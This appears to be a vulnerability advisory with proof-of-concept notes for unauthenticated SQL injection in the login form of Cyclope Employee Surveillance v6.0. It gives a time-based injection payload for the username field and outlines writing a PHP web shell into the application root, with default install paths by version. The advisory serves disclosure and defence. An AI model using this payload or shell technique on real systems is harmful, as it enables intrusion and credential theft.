SQL Injection and Remote Code Execution in Cyclope Employee Surveillance Solution v6.0

Due to improper input sensitization, many parameters are prone to SQL injection, most importantly, the username parameter in the application's login form. An attacker can exploit this vulnerability to execute arbitrary code on the vulnerable system by creating a small php shell in the application's root folder and writing the administrator username and password.

Mitigation:

Input validation should be performed to ensure that user-supplied data is properly sanitized before being used in SQL queries.

# Author: loneferret of Offensive Security
# Product: Cyclope Employee Surveillance Solution v6.0
# Version: 6.0
# Vendor Site: http://www.cyclope-series.com/
# Software Download: http://www.cyclope-series.com/download/index.html

# Software description:
# The employee monitoring software developed by Cyclope-Series is specially designed to inform 
# and equip management with statistics relating to the productivity of staff within their organization. 

# Vulnerability:
# Due to improper input sensitization, many parameters are prone to SQL injection.
# Most importantly, the username parameter in the application's login form.
# 

# Effected versions:
# Change script accordingly. You can see the folder's name when viewing the source code 
# from the login screen.
# 6.1.0: Default install path: C:\Program Files\Cyclope\Ni4xLjA=
# 6.2.0: Default install path: C:\Program Files\Cyclope\Ni4yLjA=
# 6.2.1: Default install path: C:\Program Files\Cyclope\Ni4yLjE=
# 6.3.0: Default install path: C:\Program Files\Cyclope\Ni4zLjA=


# PoC 1:
# MySql sleep for 5 seconds.
# No Authentication Required.
# Page: /index.php
# Form: login
# Vulnerable Parameter: username
# username: x' or sleep(5) and '1'='1
# password: whatever

# As stated, nothing is checked before passing "username" to MySql.
# This results in MySql sleeping for 5 seconds, and a unsuccessful
# attempt. 

# PoC 2:
# Remote Code Execution
# No Authentication Required.
# Page: /index.php
# Form: login
# Vulnerable Parameter: username

# Creates a small php shell in the application's root folder.
# It also has the added bonus of writing the administrator username and password
# Side note: 
# This assumes a default installation. Which is located in "C:\Program Files\Cyclope\Ni4xLjA=\"
# If you are wondering what is "Ni4xLjA=", well it's the software's version number in Base64 (6.1.0).
# Using Owasp Zap, you can spider the site to find the application's root folder if ever it changes.
